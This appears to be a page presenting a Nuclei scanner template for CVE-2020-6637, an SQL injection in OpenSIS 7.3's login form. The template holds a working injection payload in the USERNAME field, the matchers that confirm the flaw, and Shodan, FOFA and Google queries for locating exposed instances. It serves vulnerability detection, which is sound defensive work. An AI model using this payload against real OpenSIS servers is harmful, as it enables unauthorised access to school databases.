OpenSIS 7.3 - SQL Injection

ID: CVE-2020-6637

Severity: critical

Author: pikpikcu

Tags: cve,cve2020,sqli,opensis,os4ed

Description

OpenSIS Community Edition version 7.3 is vulnerable to SQL injection via the USERNAME parameter of index.php.

YAML Source

id: CVE-2020-6637

info:
  name: OpenSIS 7.3 - SQL Injection
  author: pikpikcu
  severity: critical
  description: OpenSIS Community Edition version 7.3 is vulnerable to SQL injection via the USERNAME parameter of index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
  remediation: |
    Apply the latest security patch or upgrade to a patched version of OpenSIS.
  reference:
    - https://cinzinga.com/CVE-2020-6637/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-6637
    - https://sourceforge.net/projects/opensis-ce/files/
    - https://github.com/OS4ED/openSIS-Responsive-Design/commit/1127ae0bb7c3a2883febeabc6b71ad8d73510de8
    - https://opensis.com/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-6637
    cwe-id: CWE-89
    epss-score: 0.02067
    epss-percentile: 0.89008
    cpe: cpe:2.3:a:os4ed:opensis:7.3:*:*:*:community:*:*:*
  metadata:
    max-request: 3
    vendor: os4ed
    product: opensis
    shodan-query:
      - http.title:"openSIS"
      - http.title:"opensis"
    fofa-query: title="opensis"
    google-query: intitle:"opensis"
  tags: cve,cve2020,sqli,opensis,os4ed

http:
  - method: POST
    path:
      - '{{BaseURL}}/account/index.php'
      - '{{BaseURL}}/opensis/index.php'
      - '{{BaseURL}}/index.php'

    body: |
      USERNAME=%27%29or%601%60%3D%601%60%3B--+-&PASSWORD=A&language=en&log=

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'SQL STATEMENT:'
          - "<TD>UPDATE login_authentication SET FAILED_LOGIN=FAILED_LOGIN+1 WHERE UPPER(USERNAME)=UPPER(NULL)or`1`=`1`;-- -')</TD>"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210084f1382d758797ad234a1ca28a67c51a0cede32f251298eda98988d90c59e9a702202742a9ee3c6822f9db31519a5afed388741cbb1ba8301a409c7638a0915b0e90:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-6637.yaml"

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